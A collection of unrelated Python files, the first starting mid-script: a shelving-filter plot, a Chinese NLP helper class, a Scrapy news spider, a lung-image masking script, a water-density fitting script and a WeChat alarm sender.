num_biquad, Gb, G = shelving_filter_parameters(
        biquad_per_octave=biquad_per_octave, Gd=Gd, BWd=BWd)
Hmag = np.clip(np.log2(w/w0) * slope, G, 0)  # desired response
sos = low_shelving_2nd_cascade(w0, Gb, num_biquad, biquad_per_octave)
H_biquads = np.stack([sosfreqs(sosi[np.newaxis, :], worN=w)[1]
                      for sosi in sos])
H = sosfreqs(sos, worN=w)[1]

# Plots
Glim = -9.5, 1
wlim = wmin, wmax
wticks = 2**(np.arange(np.ceil(np.log2(w)[0]/2)*2,
                       np.floor(np.log2(w[-1])/2)*2 + 2, 2))
kw = dict(lw=2, alpha=1, basex=2)
kw_dotted = dict(color='gray', linestyle=':', linewidth=1)
kw_artist = dict(edgecolor='gray', linestyle=':', linewidth=1)
colors = cm.get_cmap('Blues')

# frequency response
fig, ax = plt.subplots(figsize=(10, 4), ncols=2, gridspec_kw={'wspace': 0.1})
ax[0].semilogx(w, db(H_biquads.T), c='gray', **kw, zorder=2)
ax[0].semilogx(w, Hmag, 'k:', **kw)
ax[0].semilogx(w, db(H), c='C0', **kw, zorder=3)

ax[1].plot([-1, 0], [1, 0], 'C7:', lw=1)

# Pole zero plot
kw_z = dict(c='C0', marker='o', ms=9, ls='none', mew=1, mfc='none', alpha=1)
kw_p = dict(c='k', marker='x', ms=9, ls='none', mew=1)
kw_dot = dict(marker='.', ms=10)
ylim = ax[0].get_ylim()
for n, sosi in enumerate(sos):
    z, p, _ = sos2zpk(sosi[np.newaxis, :])
    z, p = z[0], p[0]
    wc = np.abs(np.sqrt(z * p))

    ax[0].plot((wc, wc), (-3, 0), **kw_dotted)
    ax[0].plot(wc, Gb/2, c='gray', zorder=2, **kw_dot)
    ax[1].plot(wc * -np.cos(np.pi/4), wc * np.sin(np.pi/4), c='gray', **kw_dot)
    ax[1].plot(np.real(p), np.imag(p), **kw_p)
    ax[1].plot(np.real(z), np.imag(z), **kw_z)
    circle = plt.Circle(xy=(0, 0), radius=wc, facecolor='none', **kw_artist)
    ax[1].add_artist(circle)
ax[0].plot(np.sqrt(wh * wl), G/2, 'C0', **kw_dot)

# desired slope
wc = 2**-2
w1 = wc * 2**(-0.2)
w2 = wc * 2**(+0.2)
Gc = Gd / 2
G1 = Gc + slope * -0.2
G2 = Gc + slope * +0.2
pc = ax[0].transData.transform_point((wc, Gc))
p1 = ax[0].transData.transform_point((w1, G1))
p2 = ax[0].transData.transform_point((w2, G2))
angle = np.rad2deg(np.arctan2(*(p2-p1)[::-1]))
dx, dy = -8, 0
xoffset = (dx * np.cos(np.deg2rad(angle)),
           dx * np.sin(np.deg2rad(angle)))
yoffset = (dy * -np.sin(np.deg2rad(angle)),
           dy * np.cos(np.deg2rad(angle)))
inv = ax[0].transData.inverted()
(wt, Gt) = inv.transform(pc + xoffset + yoffset)
ax[0].annotate('{:+0.2f} dB/oct'.format(np.round(slope, decimals=2)),
               (wt, Gt), ha='center', va='center', rotation=angle, fontsize=10)

# decorations
ax[0].set_xlim(wmin, wmax)
ax[0].set_ylim(Glim)
ax[0].set_xticks(wticks)
ax[0].grid(True)
ax[0].yaxis.set_major_locator(MultipleLocator(3))
ax[0].yaxis.set_minor_locator(MultipleLocator(1))
ax[0].set_xlabel(r'$\omega$ / $\omega_\textrm{\footnotesize u}$')
ax[0].set_ylabel('Level in dB')
ax[0].text(2**(-2.5), 0.5,
           r'upper cutoff frequency $\omega_\mathrm{u}$',
           fontsize=10, ha='center', va='center')

ax[1].axis([-0.75, 0., -0., 0.75])
ax[1].grid(True)
ax[1].set_xticks(-2.**-np.arange(3) * 10**(Gb/20))
ax[1].set_yticks(2.**-np.arange(3) * 10**(Gb/20))
ax[1].set_xticklabels(['$-2^{-1/2}$', '$-2^{-3/2}$', '$-2^{-5/2}$'])
ax[1].set_yticklabels(['$2^{-1/2}$', '$2^{-3/2}$', '$2^{-5/2}$'])
ax[1].yaxis.tick_right()
ax[1].set_aspect('equal')
ax[1].set_ylabel(r'$\Im (s\,/\,\omega_\textrm{\footnotesize u})$')
ax[1].set_xlabel(r'$\Re (s\,/\,\omega_\textrm{\footnotesize u})$')
ax[1].text(-2**(-2/2), 2**(-6/2),
           r'upper left $s$-plane', fontsize=10, ha='center', va='center')

plt.savefig(outdir + 'biquad-and-pzmap_slides.pdf', bbox_inches='tight')


# -*- coding: utf-8 -*-
import os
import jieba
import logging
os.environ["TF_CPP_MIN_LOG_LEVEL"] = "2"
os.environ["CUDA_VISIBLE_DEVICES"] = "0"
from ckiptagger import WS, POS, NER
from hanziconv import HanziConv

class NLP_Main():

    def __init__(self):

        self.ws = WS("./data", disable_cuda=False)
        self.pos = POS("./data", disable_cuda=False)
        self.ner = NER("./data", disable_cuda=False)

    #斷詞(WS)、詞性標記（POS）、命名實體識別（NER）。
# ---------------------------------------------------------------------------------
    #斷詞(WS)
    def NLP_WS(self,text):
        return self.ws([text])

    # 斷詞(WS)並儲存
    def Ws_Save(self):

        logging.basicConfig(format='%(asctime)s : %(levelname)s : %(message)s', level=logging.INFO)

        output = open('wiki_ws.txt', 'w', encoding='utf-8')
        with open('wiki_seg.txt', 'r', encoding='utf-8') as content:
            for texts_num, line in enumerate(content):
                line = line.strip('\n')
                wordss = self.ws([line])
                for words in wordss:
                    for word in words:
                        if(word!=' '):
                            output.write(word+'\t')
                            print(word)
                        else:
                            output.write('\n')

                if (texts_num + 1) % 10000 == 0:
                    logging.info("已完成前 %d 行的斷詞" % (texts_num + 1))
        output.close()
# ---------------------------------------------------------------------------------

    #詞性標記（POS）
    def NLP_POS(self,text):
        return self.pos(self.NLP_WS(text))

    #命名實體識別（NER）
    def NLP_NER(self,text):
        return self.ner(self.NLP_WS(text), self.NLP_POS(text))

# ---------------------------------------------------------------------------------
    '''TF-IDF 提取法

    是一種常用於資訊檢索的加權技術，一種統計方法。用於評估在一個文件集中一個詞對某份文件的重要性，一個詞對文件越重要越有可能成為關鍵詞。

    TF-IDF演算法由兩部分組成：TF演算法以及IDF演算法。

    TF演算法是統計一個詞在一篇文件中出現的頻率(詞頻)。

    IDF演算法則是統計一個詞在文件集的多少個文件中出現，即是如果一個詞在越少的文件中出現，則其對文件的區分能力也越強。

    '''
    def Extract_Tag_TF_IDF(self,text):
        Array =[]
        for x,w in jieba.analyse.extract_tags(text,withWeight=True):
            Array.append((str(x)+': '+str(w)))
        return Array

    '''TextRank 演算法

    TextRank 的前身為Google所開發的PageRank
    PageRank的主要功用是用於衡量網站之間的重要性，透過網頁之間的連結以及各個網頁的投票計算出其重要性。
    TextRank則是透過文章中去尋找其中重要的詞或句子。
    '''
    def Extract_Tag_TextRank(self, text):
        Array = []
        for x,w in jieba.analyse.textrank(text,withWeight=True):
            Array.append((str(x)+': '+str(w)))
        return Array

    '''權重值

    權重是一個相對的概念，是針對某一指標而言。
    某一指標的權重是指該指標在整體評價中的相對重要程度。

    打個比方說, 一件事情你給它打100分,你的老闆給它打60分, 如果平均則是(100+60)/2=80分。
    但因為老闆說的話分量比你重, 假如老闆的權重是2, 你是1, 這時求平均值就是加權平均了, 結果是(100*1 +60*2)/(1+2)=73.3分
    '''

#---------------------------------------------------------------------------------
    #轉換簡體至繁體並存檔
    def Transform_ZhTw_Save(self,File_Name,Next_FileName):
        FileRead=[]
        with open(File_Name,'rb') as RawFile:
            for line in RawFile:
                FileRead.append(HanziConv.toTraditional(line))
        with open(Next_FileName,'wb') as Next_File:
            for i in range(len(FileRead)):
                for j in range(len(FileRead[i])):
                    Next_File.write(FileRead[i][j].encode('utf-8'))

    #轉換簡體至繁體
    def Transform_ZhTw(self,Text):
        return HanziConv.toTraditional(Text)

    #轉換繁體至簡體
    def Transform_Ch(self,Text):
        return HanziConv.toSimplified(Text)


# -*- coding:utf-8 -*-
# @author:Eric Luo
# @file:stackoverflow_spider.py
# @time:2017/4/9 0009 17:00
import scrapy
from scrapy.spiders import Spider
from scrapy.selector import Selector
from scrapy.http import HtmlResponse

class cpnnSpider(scrapy.Spider):
    name = 'cpnn'
    allowed_domains = ["www.cpnn.cn"]
    start_urls = []
    start_urls.append('http://www.csg.cn/xwzx/2015/yxcz')
    start_urls.append('http://www.csg.cn/xwzx/2015/gsyw')
    for pn in range(1, 25):
        url1 = 'http://www.csg.cn/xwzx/2015/gsyw/index_%s.html' % pn
        url2 = 'http://www.csg.cn/xwzx/2015/yxcz/index_%s.html' % pn
        start_urls.append(url1)
        start_urls.append(url2)

    def parse(self, response):
#        for href in response.css('./default.htm'):
#            full_url = response.urljoin(href.extract())
#            print(full_url)
#            yield scrapy.Request(full_url, callback=self.parse_zdyw)
        filename = response.url.split("/")[-1]
        print(response)
        with open(filename, 'w') as f:
            f.write(str(response.url) + '\n')
            f.write(response.selector.xpath('//div[@class="cpnn-con-title"]/h1/text()').extract()[0] + '\n')
            f.writelines(response.selector.xpath('//div[@class="cpnn-con-zhenwen"]/p/text()').extract())

    def parse_zdyw(self, response):
        yield {
            'title': response.xpath('//div[@class="cpnn-con-title"]/h1/text()').extract()[0],
            'keywords': response.xpath('//meta[@name="keywords"]').extract(),
            'body': response.xpath('//div[@class="cpnn-con-zhenwen"]/p/text()').extract(),
            'description': response.xpath('//meta[@name="Description"]').extract(),
            'link': response.url,
        }


import os
import os.path

import numpy as np
import pywt

import cv2
import matplotlib.path as mplPath

def convert(string):
    try:
        a,b = string[:-1].split(' ')
    except:
        if len(string[:-1].split(' ') )== 4:
            x,a,b,y = string[:-1].split(' ')
        else:
            s,x,y,a,b,z = string[:-1].split(' ')
    return float(a),float(b)

def process_L(path_L):
    left = {}

    for f in os.listdir(path_L[:-1]):
        new = []
        if f[-3:] == 'txt':
            with open(path_L+f) as fi:
                content = fi.readlines()
            content = list(map(convert,content[2:-1]))
            for i in content:
                i = list(i)
                i.reverse()
                new.append(i)
            left['{}png'.format(f[:-3])] = np.array(new)
            del new
    return left

def process_R(path_R):
    left = {}

    for f in os.listdir(path_R[:-1]):
        new = []
        if f[-3:] == 'txt':
            with open(path_R+f) as fi:
                content = fi.readlines()
            #print(content[2:-2])[0]
            content = list(map(convert,content[2:-1]))
            for i in content:
                i = list(i)
                i.reverse()
                new.append(i)
            left['{}png'.format(f[:-3])] = np.array(new)
            del new
    return left

def run(points_L,points_R,path_to_images,path_to_segmentation_folder):
    for img in os.listdir(path_to_images[:-1]):
        if img[-3:] == 'png':
            a = points_L[img]
            b = points_R[img]
            newImage = cv2.imread(path_to_images+img)
            newImage = cv2.cvtColor(newImage, cv2.COLOR_BGR2GRAY)
            bbPath_L = mplPath.Path(a*2)
            bbPath_R = mplPath.Path(b*2)
            for x in range(0,2048):
                for y in range(0,2048):
                    if (bbPath_L.contains_point((x, y))!=1 and bbPath_R.contains_point((x, y))!=1):
                        newImage[x][y]=255;
            cv2.imwrite(path_to_segmentation_folder+img,newImage)

def main():

    path_to_images = '/run/media/a4hab/1ECA933908590CB5/dataset/'
    path_to_save_segmentation = '/run/media/a4hab/1ECA933908590CB5/sdataset/'
    path_L = '/run/media/a4hab/1ECA933908590CB5/L/'
    path_R = '/run/media/a4hab/1ECA933908590CB5/R/'
    run(process_L(path_L),process_R(path_R),path_to_images,path_to_save_segmentation)
    pass

if __name__ == '__main__':
    main()


import os, glob, sys
from sklearn.linear_model import LinearRegression
from constants import k as kb
import scipy
import MDAnalysis
import numpy as np

sig_fit = lambda x, rho, d, xk: 0.5*rho*(1 - np.tanh((x-xk)/d))

univ = MDAnalysis.Universe("confout.gro", "traj_comp.xtc")
avgs = np.zeros(601)
x_vals = np.arange(70,141,1)
z_vals = np.arange(22, 79, 1)

rho_xz = np.zeros((601, x_vals.size-1, z_vals.size-1))
ow = univ.select_atoms("name OW")

for i, i_f in enumerate(range(400,1001)):
    print("frame: {}".format(i_f), end='\r')
    sys.stdout.flush()
    univ.trajectory[i_f]
    #avgs[i] = ow.positions.mean(axis=0)[0]
    #np.savetxt("{}/avg_x.dat".format(dirname), np.stack((np.arange(400,1001), avgs)).T, header='time(ps)  avgx')

    ow_x = ow.positions[:,0]
    ow_z = ow.positions[:,2]

    for j, (x_lb, x_ub) in enumerate(zip(x_vals[:-1], x_vals[1:])):
        mask_x = (ow_x >= x_lb) & (ow_x < x_ub)

        for k, (z_lb, z_ub) in enumerate(zip(z_vals[:-1], z_vals[1:])):
            mask_z = (ow_z >= z_lb) & (ow_z < z_ub)
            rho_xz[i,j,k] = (mask_x & mask_z).sum()

rho_xz = rho_xz.mean(axis=0)
x_lims = np.zeros(z_vals.size-1)

for i in range(z_vals.size-1):
    fit = scipy.optimize.curve_fit(sig_fit, x_vals[:-1], rho_xz[:,i], p0=[1,1,90])
    rho, d, xk = fit[0]
    x_lims[i] = xk

np.savetxt("avg_x_int.dat", x_lims)


#!/usr/bin/env python
"""
 Created by Dai at 18-11-9.
"""
import socket

import requests
from src.config.config import Config
import json

class Wxalarm():

    def __init__(self):
        config = Config.zk_config().get('weixin')

        self.server_url = config.get('server_url')
    def send(self, message,msg_type):
        server_url = self.server_url
        headers = {'content-type': 'application/json;charset=utf-8'}

        host_name = socket.gethostname()
        host_ip = socket.gethostbyname(host_name)
        data = {
            "part_ids": [11],
            "host_ip": str(host_ip),
            "host_name": host_name,
            "server_name": "系统日志",
            "message": message,
            "msg_type": msg_type,
            "node": str(host_ip) + ',' + host_name
        }

        resquest_data = {"act_id": "1200",
                         "version": "1.0",
                         "trace_id": '',
                         "data": data
                         }
        print(server_url)
        print(resquest_data)
        json.dumps(resquest_data)
       # res = requests.post(server_url, data=json.dumps(resquest_data), headers=headers)
     #   print(res.text)

def get():
    return Wxalarm

if __name__ == '__main__':
    alarm = get()
    alarm().send('ip test','ip')